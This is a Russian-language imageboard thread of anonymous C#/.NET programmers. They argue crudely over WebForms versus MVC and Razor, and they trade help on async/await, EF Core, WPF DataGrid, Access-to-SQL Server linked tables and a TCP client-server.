Аноним 11/08/20 Втр 17:38:55 17745141096
Аноним 11/08/20 Втр 19:12:26 17745821097
>>1774514
> WebMethod
Братан, ну ты в натуре через вап сидишь
В чем проблема открыть вкладку сеть, и посмотреть, куда твой xnr летит?
Атрибуты на методе висят какие-нибудь? Мидлвары нестандартные?
Аноним 11/08/20 Втр 19:34:34 17745891098
image.png 6Кб, 1246x58
1246x58
image.png 36Кб, 654x468
654x468
image.png 58Кб, 945x468
945x468
>>1774582
он правильно летит
Аноним 11/08/20 Втр 19:50:15 17745981099
>>1774463
Я не знаю, как. Попробуй сам. В Visual Studio просто исключение и пишется 'Плохие данные'.
Аноним 11/08/20 Втр 20:43:08 17746321100
>>1774589
type на method замени в ajax. А вообще схуёв ли TestMethod - static? Я родился уже когда MVC был, у нас контроллеры например не статик.
Аноним 11/08/20 Втр 20:43:51 17746341101
>>1774598
Братанчик ну у меня своих проблем хватает. Скачай фриварный ILSpy и натрави его на .exe/.dll своей программы
Аноним 12/08/20 Срд 00:19:53 17747631102
Братики, а как в линухе кодить на C#?
Аноним 12/08/20 Срд 00:59:35 17747811103
Аноним 12/08/20 Срд 01:00:21 17747821104
Аноним 12/08/20 Срд 01:02:42 17747861105
Аноним 12/08/20 Срд 01:03:50 17747881106
Аноним 12/08/20 Срд 14:17:42 17750901107
>>1774632
прикалываешься? я вообще-то помощи прошу, такого как mhetod в документации даже нет есть post get put delete
Аноним 12/08/20 Срд 14:18:10 17750911108
>>1774632
чем мвс лучше вебформ?
Аноним 12/08/20 Срд 14:23:44 17750981109
>>1732253
>Ну да, только таких в топ IT компанию и берут.
Там дикое легаси, в котором черт ногу сломит, работает и ладно. Сказки про топ компании, сука.
Аноним 12/08/20 Срд 14:44:28 17751231110
>>1775091
потому что современнее. потому что работая с mvc проектом ты можешь запросто перелезть на разработку rest api, потому что принцип один и тот же. потому что в коре ходовой стек - это именно mvc, а развивается именно коре, а не древние веб формы. развивается как в плане внутренних оптимизации, так и различных фич и синтаксического сахара вроде встроенного DI
Аноним 12/08/20 Срд 14:49:06 17751261111
>>1775123
то есть я не пойму, в мвс не юзают вебметодов? а как вы тогда общаетесь с сервером?
Аноним 12/08/20 Срд 15:54:48 17751821112
>>1775126
По телефону набираем
Аноним 12/08/20 Срд 15:59:10 17751931113
>>1775182
ебать вы ебанутые, и еще задвигаете что-то в сторону божественных вебформ
Аноним 12/08/20 Срд 17:37:50 17753071114
image.png 90Кб, 1491x868
1491x868
Нужна помощь шарписов. Облазал пол интернета и нихуя не нашел.

Крч мне нужно написать парсер, который будет искать на сайте символы и выводить эту строчку в консоль/тхт/таблицу. У меня нихуя не работало и я решил взять пример из интернетов.. и он блять тоже нихуя не работает. Использовал библиотеку AngleSharp.

я только вкатываюсь
Аноним 12/08/20 Срд 18:26:52 17753721115
>>1775307
линк добавь в юзинг
Аноним 12/08/20 Срд 18:28:15 17753751116
>>1775307
попробуй добавить using System.Linq;
Аноним 12/08/20 Срд 18:48:10 17754071117
image.png 70Кб, 1121x766
1121x766
Аноним 12/08/20 Срд 20:20:14 17754651118
Аноним 12/08/20 Срд 22:03:24 17755341119
>>1775465
>7z
Иди нахуй или кидай код на пейстбин
Аноним 12/08/20 Срд 22:09:52 17755371120
>>1775534
На дропбоксе можно посмотреть код не качая ничего
Аноним 12/08/20 Срд 22:58:15 17755591121
>>1775465
Где ты так научился код писать? Тоже так хочу.
>Чому не отменяется-то загрузка если я долблю esc?
Прям вообще не отменяется или отменяется с задержкой? Видимых причин для первого нет.
>Ну и в остальном, прошу как обычно кодревью. Да.
Зачем ты используешь в HttpService.DownloadAndSave инстанс WebClient'a, кода у тебя в HttpService есть инстанс HttpClient'a?
Метод GrabAsync слишком перегружен, я бы вынес парсинг страницы и сбор всех uri в отдельный приватный метод.
В этом методе нужно заменить все EndsWith на регулярное выражение из словаря, ключом к которому будет одно из значений перечисления FileType {Image, Video}, в итоге у тебя появится быстрая возможность добавлять сохранение файлов определенного типа и код станет более читаемым.

В остальном мне всё понравилось, организованно на отлично.
Аноним 13/08/20 Чтв 04:40:47 17757191122
Без названия.jpeg 14Кб, 238x314
238x314
>>1775091
> 2к20
> вебформ
Братан
Аноним 13/08/20 Чтв 10:08:16 17757981123
image.png 24Кб, 916x194
916x194
Че за хуйня?

Почему в grid (DataGrid в WPF) показывает что у меня 0 Column, тогда как в dogTable (DataTable ) показывает что их было 12?

Я из-за этой херни не могу переименовать в grid название столбцов, потому что у меня вылетает исключение про неправильный индекс (даже по 0).

При всем этом если переименование закоментировать, то все нормально работает и данные выводятся в таблицу
(а еще подобный же код в другом месте с другим DataGrid работает)

DataGrid описан так:
<DataGrid x:Name="grid" Margin="13,80,13,80"
Loaded="grid_Loaded"
MouseDoubleClick="grid_DoubleMouse"
VirtualizingStackPanel.IsVirtualizing="True"
ScrollViewer.CanContentScroll="True"
ItemsSource="{Binding}"
AutoGenerateColumns="True"
ScrollViewer.VerticalScrollBarVisibility="Visible"
ScrollViewer.HorizontalScrollBarVisibility="Visible"
MaxHeight="600.0"/>


код такой (я упростил, оставив 2 записи)https://pastebin.com/m45TjcJz

Куда копать?
Аноним 13/08/20 Чтв 13:23:21 17759391124
>>1775719
зачем? что бы по телефону с сервером созваниваться как этот анон?>>1775182

неа спасибо, я все еще не увидел никаких преимуществ мвс над вебформами, вебформы простые легкие, можно низкоуровневый код писать к страницам, а у мвс из приемуществ какие-то непонятные абривиатуры которые в реальных проектах нестабильны и юслес
Аноним 13/08/20 Чтв 14:33:09 17760341125
изображение.png 25Кб, 969x453
969x453
Че делать с этим говном? Я уже задолбался постоянно копипастить это говно. Просто на каждый запрос приходится копипастить этот кусок кода.
Как можно по нормальному обернуть в функцию?
Или чего-нибудь готовое, но не сложное?
Аноним 13/08/20 Чтв 15:22:49 17761121126
Аноним 13/08/20 Чтв 17:07:29 17762701127
>>1775939
> зачем? что бы по телефону с сервером созваниваться как этот анон?>>1775182
Мой знакомый тоже о вебформсах хорошо отзывался
> неа спасибо, я все еще не увидел никаких преимуществ мвс над вебформами
Гоняешь по сети кучу трафика, ебешь процессор нагрузкой больше, чем на mvc
> вебформы простые легкие
> <%@ Page Language="C#" AutoEventWireup="true" CodeBehind="Default.aspx.cs" Inherits="TestAspNet45.Default" %> <!DOCTYPE html> <html xmlns="http://www.w3.org/1999/xhtml"> <head runat="server">
...

Ну хз, мне это напоминает wpf с его бойлерплейтом
> можно низкоуровневый код писать к страницам
На mvc тоже можно. А вообще проще фронт на JavaScript и не ебаться с костылями
> а у мвс из приемуществ какие-то непонятные абривиатуры которые в реальных проектах нестабильны и юслес
Говоришь о технологии, с которой незнаком. Тревожный звонок, анон
Аноним 13/08/20 Чтв 17:24:39 17762961128
>>1776034
Где async?? Все IO/Network операции надо через async/await вызывать.

Reader нужен только для оптимизации или для каких-то простых приложух. Во всех остальных случай EF Core.
Ну или хотя бы Dapper, если не хочешь заморачиваться с настройкой контекстов, запуском in-memory для тестов и миграциями https://github.com/StackExchange/Dapper
13/08/20 Чтв 17:47:02 17763491129
>>1776270
про низкоуровневый код я имел введу о code behind страницы, и я не понял что ты написал про javascript и к чему это, и к тому же я не уверен что в мвс так можно, мне кажется что нет, насчет трафика в вебформах есть такая крутая штука как update panel заворачиваешь туда то что надо обновлять а все остальное берется из клиентского кеша, так можно оптимизировать очень хорошо трафик + для мелких задач можно юзать веб метод и не исполнять лишний код на сервере, а трафик будет зависит чисто от того как ты json сообразишь, насчет новых технологий в мвс честно скажу не знаю знаком с мвс посредственно но за мвс почему-то топят в ру сегменте, я живу и работаю в европе и тут наоборот мвс что-то не такой популярный, может быть из за индусов не знаю, но вот в тех случаях когда я просил четко оформить плюсы мне говорили вот те вещи что анон сверху задвигал, "ну там в будущем, там что-то обещают, а там технология многообещающая, да и оттуда перекатиться туда будет в будущем легко, на раст, хераст, педераст" а зачем мне куда-то перекатываться и что мне это дает здесь и сейчас "молчание"
Аноним 13/08/20 Чтв 18:15:55 17763951130
image.png 37Кб, 534x350
534x350
>>1776349
Не чувак, веб формы в прошлом и уже давно. И они в десятки (а где то и тыщи) раз медленнее и более прожорливее MVC/Razor Pages/Rest API. А с выходом WASM и Blazor и HTTP/2 вообще небо и земля.
Тебе, как привыкшему к вебформс можно перебраться на Razor Pages https://docs.microsoft.com/en-us/aspnet/core/razor-pages
Меньше разрыва шаблонов будет.
Аноним 13/08/20 Чтв 18:35:11 17764201131
15429816506660.jpg 46Кб, 532x531
532x531
Ребята, как можно в vs19 заретаргетить solution на vs10.
Нужно заняться некромантией и восславить Нер-Зула.
13/08/20 Чтв 19:17:08 17764491132
>>1776395
а можно собственно сравнение по вызовам, памяти? трафику и быстродействию? я первый раз слышу про формы что в десятки-тыщи раз медленнее
Аноним 13/08/20 Чтв 19:21:29 17764511133
Короче - докладываю, в vs'e кнопочки ретаргета на солюшине нету (наверное потому что это последняя версия). Пробовал тупо менять значения версии в файле .sln - vs2010 нихуя не схавала (unable to open solution).
>>1776420
Аноним 13/08/20 Чтв 21:08:48 17765141134
>>1776034
>new OleDbConnection
это ты на вебформах тут в 2020 пишешь?
Аноним 13/08/20 Чтв 21:15:37 17765241135
>>1776349
да ты бля даже веб метод у себя через ajax раскочегарить не можешь, какой тебе низкоуровневый код, какой кодбехайнд блять. ссынок блядь. куда ты лезешь?
>а зачем мне куда-то перекатываться и что мне это дает здесь и сейчас
затем что mvc и asp.net core mvc в частности с его dependency injection из под коробки удобнее и интуитивнее в разы. при двузначном iq код на коре будет удобно разбит по контроллерам, сервисам, миддлвейрам, а то же самое на вебформах превратиться в ёбаный спагетти-код, видал я такую хуйню. ты там блядь пойди еще и собственный html-generator написал на шарпе и хуяришь им в респонс боди, потому что блядь низкоуровнево блядь пиздец погоромист блядь. динаху отсюда
Аноним 14/08/20 Птн 01:40:24 17767431136
>>1776112
>>1776296
Может я недоглядел, но я не понимаю как работать когда мне нужно данные полученные с запросов еще и обрабатывать.
Ну то есть я делаю сложный SQL запрос, затем делаю замену некоторых данных - например сменить формат даты - мне не нужна дата вплоть до микросекунды которая хранится в базе. И вот как такие операции делать - когда я получил с базы данные, но они еще не пригодны для программы?
(А то во всех учебниках элементарно - делают класс подобный структуре таблицы и на этом всё)

>Где async??
Это тоже не понял - зачем делать эту операцию асинхронной, если ее результат ждет программа? пока результата нет - она и не должна работать (да, интерфейс должен быть заблокирован чтобы пользователь не нажимал кнопочки пока не прогрузилось - я часто с такой херней в некоторых других прогах сталкивался - когда тыкнешь не туда во время загрузки и пиздец все ломается)

>>1776514
нет.
Аноним 14/08/20 Птн 01:49:35 17767451137
image.png 22Кб, 744x549
744x549
>>1776296
>Где async?? Все IO/Network операции надо через async/await
вот серьезно - какой смысл, если основной поток все равно без этих данных не сможет корректно работать и по сути должен уходить в ожидание?

у меня десктоп если что
Аноним 14/08/20 Птн 04:48:51 17767831138
>>1776745
Мне страшно становится от мысли, что куча так называемых "программистов" работает над настоящими проектами вот с такими вот знаниями и подходом к делу.

Сильно (очень) упрощённая версия.
Кол-во потоков (и вообще ресурсов) в любой системе ограничено. Если этой не школьный или просто для души проект, то разбрасываться ресурсами нельзя! Await возвращает поток назад в использование для всех остальных (а не только тебя любимого). IO/Network операции выполняются в другом процессе, а чаще всего вообще на другом железе. Нет смысла отжирать ресурсы впустую, пока ты ждёшь ответ от внешней системы.

Но самый страх начинается, когда ты начнёшь отлавливать дедлоки на пустом месте. Нельзя, ВООБЩЕ НИКОГДА НЕЛЬЗЯ, делать async over sync или sync over async. Это прям НЕТ и точка.

Шпаргалка.
https://github.com/davidfowl/AspNetCoreDiagnosticScenarios/blob/master/AsyncGuidance.md
Аноним 14/08/20 Птн 04:55:08 17767841139
>>1776743
С такими знаниями тут тебе ни один ответ не поможет, кроме готовых примеров конкретно для твоего приложения что врят ли кто-то за тебя писать будет.

https://docs.microsoft.com/en-us/ef/core/get-started
Тут на самом деле всё есть, надо только взяться и хорошо всё почитать и перепробовать кучу примеров (там ссылки на гитхаб).

Вообще надо делать отдельные классы (Entity) для представления того, что у тебя в БД. И отдельные классы для бизнес логики. И потом делать репозитории/сервисы/мапперы/обзывай как хочешь, от архитектуры зависит, в которых ты будешь из Entity делать Domain объект и наоборот.
Аноним 14/08/20 Птн 05:28:20 17767851140
>>1776783
Ты о чем? Я не понимаю что ты хочешь мне сказать

Я знаю что количество потоков ограничено. Я как раз и спрашивал - нахера делать получение данных асинхронным, если без этих данных программа не сможет работать и будет их ждать, так как любые операции без данных - это ошибка логики и к ничему хорошему не приведут.
А еще у меня в коде дохера кеширования и многие запросы делаются один раз, дальше оно хранится в памяти (прога занимает 260мб оперативы)

>>1776783
> IO/Network операции выполняются в другом процессе, а чаще всего вообще на другом железе
какое еще другое железо? откуда оно возьмется? При чем тут вообще Network?

Аноним 14/08/20 Птн 08:49:17 17768261141
>>1776349
> насчет новых технологий в мвс честно скажу не знаю знаком с мвс
Я мало работал с вебформс, всего один раз баг пофиксил. Получается разговор людей, которые работают с разными технологиями

Проперделся с педерастов, но, анон, я вот что скажу. Вебформы на неткор не портировали, это теперь легаси и количество работы будет сокращаться

Я сейчас завожу трактор, поэтому мне нужно иметь актуальный стек. Туда, куда я хочу, не то что мвц, туда шарп особо не нужен. Думал на яву перекатываться, но пока фронт изучаю. Ты в Европе, тебе и так хорошо
Аноним 14/08/20 Птн 17:17:09 17774361142
>>1776449
У МС на сайте даже написано: Use .NET Core for your server application when you need high-performance and scalable systems.
И хочешь не хочешь, но трафика старая технология потребляет больше. Там и бенчмарки есть - https://docs.microsoft.com/en-us/dotnet/standard/choosing-core-framework-server

И как уже заметили, вебформс уже легаси и будет поддерживаться только в старом фреймворке. Новых фич и быстродействия уже не получит. Мир с каждым днём всё больше в облака уходит. С вебформс там делать нечего. Разве что только с пет проектами.
Аноним 14/08/20 Птн 17:41:20 17774671143
>>1776785
Я тебе так скажу - учись. Читай новые статьи, обсуждения, книги, сам экспериментируй.
Вот эту шпаргалку всем без исключения дотнетчикам на самом деле многое отсюда к любой технологии/языку/платформе относится надо держать всегда под рукой https://docs.microsoft.com/en-us/aspnet/core/performance/performance-best-practices
>Do call all data access APIs asynchronously.
>Call data access, I/O, and long-running operations APIs asynchronously if an asynchronous API is available.

В твоём случае asynchronous API как раз available.

>нахера делать получение данных асинхронным
чтобы
- не отхватить deadlock;
- не отжирать ресурсы, пока программа ничего не делает, потому что твой поток не уходит спать, а возвращается в пул потоков и может быть использован чем-то другим в системе (кстати, на счёт спящих потоков: Thread.Sleep() должен уйти на покой, а вместо него надо использовать await Task.Delay());
- для многопользовательских приложений увеличить проходимость (если блочить каждый UI thread, то на новоприбывших пользователей потоков может в какой-то момент не остаться и они будут сидеть и ждать очереди).

Чтобы юзеры не могли нажать кнопочки, когда их нажимать не положено, существуют 1001 техника без блокировки основного потока: disable UI elements, waiting screen/spinner, проверка в коде на повтор того же самого запроса и т.д..
Аноним 14/08/20 Птн 19:15:38 17775611144
>>1777436
А если подумать, вебформы хороши или нет? В отрыве от вопросов производительности?
Просто увидел там драг-н-дроп, подумал, что это интересная фича
Аноним 14/08/20 Птн 20:36:15 17776441145
>>1777561
ИМХО ничё в них хорошего не осталось. Drug-n-drop разработка - такой себе анонизм. Это как если сравнить какой-нибудь https://gamesalad.com с нормальным игровым движком. Да, у тебя получится сделать продукт, но он будет похож на школьный проект или на местечковую автоматизацию какой-нить конторы/администрации.

Я с вебформс дружил с 2008 года. Каждый раз когда проект разрастался до десятков тысяч строк, начинались танцы с бубном. Особенно если вместо одного сервака тебе внезапно нужна была небольшая ферма. Те ещё пляски чтобы управлять одним приложением на нескольких машинах разом (scaling называется).

.Net Core упростил веб разработку в разы. У нас есть приложухи монолиты с миллионом строк кода и есть системы из кучи микросервисов. Нормально всё поддерживается и работает. Мы бы наверное то же самое на вебформсах 10+ лет пилили и потом без остановки баги разгребали.
Аноним 14/08/20 Птн 21:28:43 17776781146
Что скажете по фрилансу #? MVC Razor или WebAPI+JS? Что за таски обычно, легаси или с 0? Микросервисы?
Аноним 14/08/20 Птн 21:36:52 17776871147
Аноним 14/08/20 Птн 23:16:09 17777441148
>>1777687
нахуй ты мне линк на биржу даешь? Мне опыт работающих фрилансеров нужен, если тут конечно такие есть
Аноним 14/08/20 Птн 23:33:45 17777521149
>>1777744
>MVC Razor или WebAPI+JS? Что за таски обычно, легаси или с 0? Микросервисы?

И где тут хоть слово про опыт, долбоебина? Хотя можешь не отвечать, ты уже подтвердил свою умственную отсталость, поэтому диалог с тобой продолжать не вижу смысла.
Аноним 14/08/20 Птн 23:52:33 17777661150
>>1777752
токсичная хуйня кидает линк с апворка и хуй пойми какой ждет реакции. Спрашиваю про опыт фрилансеров, он мне выкатывает простыню про идентификацию по посту. Не пиши больше, чмоха
Аноним 16/08/20 Вск 05:47:37 17785471151
Джуном реальносейчас устроиться?
Аноним 16/08/20 Вск 08:26:36 17785741152
Сап анончики, я еще даже не близок к званию джуна, но уже могу +- что-нибудь накостылить. Решился делать свой текстовик по типу виндовского блокнота, но не знаю куда сохранять все данные в программе. Не могу подобрать БД, да и нужно ли оно тут?
Аноним 16/08/20 Вск 11:04:49 17785991153
>>1778547
Нет. Корона + малый спрос на .Net решили этот вопрос не в пользу джунов. А вот мидлам и сеньерам наоборот хорошо, так как многие компании сокращают джунов и пытаются заменить их меньшим количеством мидлов и сеньоров.
>>1778574
>Не могу подобрать БД, да и нужно ли оно тут?
Это шутка такая? Где ты текстовый редактор видел, который данные сохраняет в базу данных? Сохраняй в файл, очевидно.
AnalDestructor2010 16/08/20 Вск 14:13:38 17787021154
Пишу ASP Core MVC, есть такой
r.MapControllerRoute(
..name: "someroute",
..pattern: "{govno:alpha}/{mocha:int}",
..defaults: new { controller = "Con", action = "Act" });
Как мне теперь создать ссылку с помощью tag-helper'ов а-ля mysite.gov/kaka/13?
Аноним 16/08/20 Вск 19:21:23 17788991155
>>1778702
Короч, если кому надо
<a asp-route-govno ="kaka" asp-route-mocha="13" asp-controller="Con" asp-action="Act">
Оно будет автоматически искать подходящий маршрут, параметры автоматически будут сопаставлены с частями пути, остальные прилепятся как параметры гета.
Аноним 16/08/20 Вск 19:54:01 17789241156
Поясните за необходимость математики и знания различных алгоритмов для разработчика. Как часто на работе всплывает необходимость в подобных знаниях? Или это всё только на собеседованиях роляет?
Аноним 16/08/20 Вск 20:10:12 17789371157
>>1778924
Полностью зависит от того, чем будешь заниматься. В вебе тебе навряд ли понадобиться что-то сложнее логарифма. В гейдеве, думаю, понимание векторов, матриц и соответственно операций над ними покроет 90% твоих потребностей (геймдев на шарпе это юнити, довольно высокоуровневый движок, единственное не знаю как там шейдеры пишут, наверно качают ассерт из стора, так что тоже особой математики не надо). В машинном обучении, наверно да, но у них там скорее всего своя специфика, а ты будешь пользоваться готовыми либами. Ну а в кровавом ынтырпрайзе, опять же зависит от того что это за приложение. Могут быть хардкорные вычисления а может быть школьная арифметика.
Аноним 16/08/20 Вск 20:11:48 17789381158
>>1778924
>за необходимость математики и знания различных алгоритмов для разработчика
если очко жмет спросить применение этих алгоритмов на практике, то нужно учить. Советую выдрочить один экзотический алгоритм, который применял только дед Ануфрий при войне с перлом и при вопросе: "Какие алгоритмы знаешь?" - Отчечаешь этим алгоритмом. В 99.9% интервьюер ничего про него не знает, можно поставить шах и мат фразой "Ааа, вы его не знаете... Ну понятно". Если спизданет "Да знаю" или промолчит - попросите описать/реализовать. Изи типсы для собеса.
Аноним 16/08/20 Вск 20:17:02 17789441159
>>1778938
>Если спизданет "Да знаю" или промолчит - попросите описать/реализовать.
А потом ему сказать извините вы нам не подходите?
Аноним 16/08/20 Вск 20:37:35 17789501160
>>1778944
— Блядь, всё-таки не знаешь, ой мудель, блядь!.. Твою мать, изучай это говно нахуй, блядь! Сейчас будешь всё это дебажить, блядь!
— Я тебе принес вопросов-то!
— Чё ты мне вопросов принёс, чё ты, мудак, что ль, бля?! Хули ты спросил… хули ты сортировкой-то вымазался, мудак, блядь?!
— Я уж погулил, я тебе…
— Пидорас, блядь! Сука, блядь!
— Соискатель, ты что!
— Убери это говно отсюда, блядь!
— Я спросил уже!..
— Ёб твою мать, блядь, и весь вайтборд засрал, блядь!
— Хотел тебя спросить-то!..
— Мудак, блядь, ну ты мудак, блядь, я тебя сейчас убью, нахуй! Я тебя, блядь, сейчас убью нахуй, блядь!
— Я тебе принес задач-то!..
(Тихим голосом.) Блядь, ну ты пидорас, блядь…
— Задач-то…
— Бля, ну ты сумасшедший, ёб твою мать, а…
— Задач-то…
— Бля, с кем вы меня посадили, охуеть, ёбаный в рот!..
— Я не HR, я те честно говорю! Я тебе… я просто хотел тебе сделать доброе дело…
— Чё?
— Я не кодил вообще сегодня!..
— Чё, нахуй, мне — добро?
Аноним 16/08/20 Вск 21:31:20 17789871161
>>1778944
цену себя знать нужно, а не быть обмякшей чмохой (коих 99% разРАБов)
Аноним 17/08/20 Пнд 02:20:03 17791151162
>>1777467
>- не отхватить deadlock;
какие дедлоки в однопоточном приложении?

>>1777467
>не отжирать ресурсы, пока программа ничего не делает
она и так не отжирает ресурсы, когда ничего не делает - событийно-ориентированая архитектура же. 0% загрузки проца и 80 мб оперативы в простое.

>>1777467
>потому что твой поток не уходит спать, а возвращается в пул потоков и может быть использован чем-то другим в системе
винда сама все разрулит намного эффективней,так как приложение находится в состоянии простоя

>>1777467
>- для многопользовательских приложений увеличить проходимость (если блочить каждый UI thread, то на новоприбывших пользователей потоков может в какой-то момент не остаться и они будут сидеть и ждать очереди).
У каждого пользователя свое приложение. Они никак друг друга не блочат.


Чел, все то что пишешь - это либо слишком сложные системы, которые в одиночку никто в здравом уме не разрабатывает, либо веб, так как там нынче все должно быть "модно-молодежно".

Я же пишу обычное десктоп приложение, управляющее делопроизводством компании из около 40 человек. При этом активно работающие с базой всего два рабочих места. Остальные работают с копиями.
Аноним 17/08/20 Пнд 03:53:59 17791191163
image.png 22Кб, 223x274
223x274
Анон, как сделать следующее:
- есть база в сети на SQL Server. при этом для доступа используется учетная запись SQL Server
- есть локальная база в MS Access
- локальная база содержит связь на таблицу из базы SQL Server

как мне работать с этой связью? На пикче называется dbo_Улицы

Если я открываю ее в Access - то в первый раз она требует пароль SQL Server

Но как теперь этот пароль указать в коде?

вот это не работает:
string connectionBDCoreStr = string.Format("Provider=Microsoft.ACE.OLEDB.12.0; Data Source={0};JET OLEDB:Database Password=1234", mdbFile);
using (var connect = new OleDbConnection(connectionBDCoreStr))

пишет "ODBC - ошибка подключения к 'база в сети'

Мне это для чего надо - в MS Access я храню запросы, и код должен работать с ними
Аноним 17/08/20 Пнд 04:05:25 17791211164
>>1779119
Не знаю, может, стоит сделать делать два контекста?
Зачем вообще эти костыли?
Аноним 17/08/20 Пнд 04:26:12 17791241165
>>1779121
>Зачем вообще эти костыли?
Ну чтобы не засорять основную базу результатами запросов на изменение
Аноним 17/08/20 Пнд 04:52:33 17791291166
>>1779119
Сам спросил, сам отвечу. Все оказалось капец как просто (при этом убил 3 часа, нифига не нашел в гугле, и тупо на угад получилось - вечно так)

Короче, в самой ms access когда создаешь связанную таблицу, там есть окно в котором надо выбрать таблицы - в этом окне снизу притаилась кнопка "сохранить пароль". Вот это оно и есть - сохранить пароль и дальше в самом коде не надо никаких паролей указывать - работает со связанными таблицами как с обычными
(ну или чтобы не вломали хацкеры - поставить пароль уже на саму базу ms access)
Аноним 17/08/20 Пнд 05:08:26 17791311167
1597630102372.jpeg 17Кб, 488x409
488x409
>>1779124
То есть ты делаешь Update, а старые значения заносишь в Access?

Я брал Serilog и просто сущности в Json сериализовывал и сохранял. Можно только diff сохранять, но при моей нагрузке и хуевой туче памяти это не нужно. В итоге полное версионирование

Что насчёт двух контекстов? В SQL Server можно ссылаться на другие базы но вот можно ли ссылаться на базы других программ?, кажется, в объектах сервера было. Посмотри, может, в access есть что-то похожее. Я так понимаю, тебе надо сперва подключиться к access, а потом уже тянуть данные с MS SQL
Поверх двух контекстов можно нагородить провайдер, который будет разруливать твои действия. Можешь глянуть DDD и bounded context, но это охуеть головомойка

Вообще, мутная эта схема. Не хотел бы я, чтобы такой проект попал на поддержку. Данные либо нужны, либо нет. Твой access тоже где-то надо хранить, бекапить, держать в памяти. Почему бы не сделать все на одной платформе?
Аноним 17/08/20 Пнд 05:09:12 17791321168
>>1779129
Ну, все, поздравляю, молодец – сам разобрался
Аноним 17/08/20 Пнд 05:50:33 17791371169
>>1779131
>Вообще, мутная эта схема.
Почему мутная?

Общая база данных хранится на сервере SQL Server. А локальная база MS Access хранится вместе с программой и у каждого будет своя (в ней можно и индивидуальные конфиги хранить)

Запросы очень удобно делать в MS Access (в нем самый простой, но мощный редактор). В SQL Server Management Studio это как-то черезжопно. В коде это тоже выглядит страшно.

При этом результат выборки запроса можно сохранить в MS Access и тогда не дергать основную базу, а брать уже сохраненные результаты из MS Access, просто при первом запросе делать копию редкоизменяемых таблиц - такое кеширование сильно разгружает локальную сеть (у нас раньше была такая проблема).


А самое главное - разработка. Я ведь иногда прихожу домой и хочу дальше кодить, но доступа к серверу у меня нет (и я не хочу ставить себе дома всякое говно). В случае MS Access это легко решается:
- есть MS Access в котором устанавливаю связи с SQL Server - это рабочая локальная база
- есть база в которой я храню полные копии таблиц из SQL Server с теми же именами что в рабочей у связей.

И мне в результате надо всего лишь одну строчку в коде изменить чтобы оно брало локальную копию. А не городить огромные условия и шаблоны, где выбирать нужную базу и нужный биндинг - ведь с access работать через OleDbConnection, а с SQl Server через SQLConnection. Сейчас я во всем коде могу работать через OleDb, и подключаться к локальной базе. А уж в самой базе менять связи как мне надо
Аноним 17/08/20 Пнд 07:21:50 17791541170
>>1724425 (OP)
Аноны умоляю. Есть у кого-нибудь полный набор элементов для xamarin от synfuction? Или хотя бы ключик. Очень хочется исходники посмотреть
Аноним 17/08/20 Пнд 16:34:21 17795941171
image.png 7Кб, 469x215
469x215
>>1779137
Для таких вещей есть Sqlite, к которому и коннектится проще и конфигурить. Сам файл БД можно зашифровать и расшифровывать при старте твоей проги.
Для ручного доступа к БД можно самой студией пользоваться без всяких SSMS и MS Access.
Аноним 17/08/20 Пнд 17:25:32 17796581172
Почему разор не взлетел? Вроде же удобно.
Аноним 17/08/20 Пнд 17:41:02 17796791173
Аноним 17/08/20 Пнд 18:33:49 17797261174
>>1779679
По итогу получается, что на страницу все равно надо прилепить кусок js-ного кода только если у тебя там не статичный контент, а то и целый фреймворк, потому что разор – это генератор html, и на этом его полномочия заканчиваются. А блазор – хуйня из под коня. Либо васм, который никто качать не будет, либо соединение с каждым клиентом, что не подходит для нагруженного приложениям

Таким образом, помимо js и html надо знать еще и тег-хелперы разора. Раз уж js надо изучать, почему бы уже не взять какой-нибудь вью или реакт, и писать фронт отдельно? Еще и spa получится, охуенно же

Признаю, с разором можно много чего написать – я поддерживаю пару жырных проектов на mvc, но удовольствия от ковыряния этого псевдо-html я не испытываю. Один жирнючий плюс – удобная отладка из коробки. Что закинул в модель, то и получаешь в ходе генерации. Для входа в веб проще не придумаешь
Аноним 17/08/20 Пнд 19:09:09 17797521175
>>1779726
>почему бы уже не взять какой-нибудь вью или реакт, и писать фронт отдельно?
Мы как раз так и делаем уже года 4. Razor если и используется, то редко и только для инициализации исходного состояния приложения (через тот же React или Angular). Через него безопаснее читать конфиги, настраивать всякие политики и прочая безопасность. Плюс появляется возможность создавать true source of knowledge объекты. Те же enum. Вместо того чтобы создавать одно и то же два раза (на бэке и фронте), делаешь один раз на бэке и генеришь год для фронта. По хорошему тот же самый объект и для DB mapping должен использоваться. Для больших проектов сильно помогает сократить время на разработку и отладку. И вообще magic knowledge is evil.

Having said that я терпеть не могу жаваскрипт и перепрыгну на WASM (Blazor в нашем случае) при первой же возможности. Плюсов уже сейчас куда больше чем минусов. А после нормального релиза и глобальной поддержки WASM и HTTP/2 будет вообще огонь. ЖС должен сдохнуть и желательно ещё вчера.
Аноним 17/08/20 Пнд 19:49:50 17797811176
Анонче, может кто-нибудь помочь написать TCP клиент и сервер?

Мне нужно написать сервер, который будет работать 24/7 и по требованию писать блоки данных всем клиентам.

У меня какое-то недопонимание.Я сделал сервер, сделал клиент.

У клиента создаю TcpClient, потом ему делаю Connect().
И потом
using (NetworkStream stream = socketConnection.GetStream()){
if (stream.CanRead){
var dataString = MakeStringFromServerData(stream);
Debug.Log(dataString);
}
}

При первом прочтении всё ок. При повторном дропает ошибку.
Я что-то не выкупаю, вот эта мразь дропает что ли соединение или в чем дело
>using (NetworkStream stream = socketConnection.GetStream())
т.е. после каждого прочтения надо рвать соединение и по новой? или как?
Аноним 17/08/20 Пнд 19:53:39 17797851177
>>1779781
Забыл добавить,
>может кто-нибудь помочь написать TCP клиент и сервер?
готов заплатить умеренную кукую-то сумму, если поможешь разобраться с этим.
Аноним 17/08/20 Пнд 20:05:55 17797931178
>>1779781
Хм, могу абстрактный прототип накидать сейчас бесплатно, просто потому что мне скучно. Но допиливать уже будешь сам.
Аноним 17/08/20 Пнд 20:10:00 17797971179
>>1779793
Мне нужно, чтобы просто сервер работал вечно, и был у него публичный метод аля Send(byte[] data), и клиент, который бы вечно работал и принимал эти ёбоманые байты.
Буду безмерно благодарен, если поможешь.
Аноним 17/08/20 Пнд 20:10:33 17797981180
>>1779781
Работающий пример
https://codinginfinite.com/multi-threaded-tcp-server-core-example-csharp/

Но лучше переезжать на async
https://docs.microsoft.com/en-us/dotnet/framework/network-programming/asynchronous-client-socket-example
https://docs.microsoft.com/en-us/dotnet/framework/network-programming/asynchronous-server-socket-example

Работая с кучей клиентов на одном серваке легко отхватить дедлок или вообще потерять поток. Надо знать как писать код потокобезопасным.
Аноним 17/08/20 Пнд 20:12:39 17797991181
Аноним 17/08/20 Пнд 20:15:23 17798001182
>>1779798
>>1779799
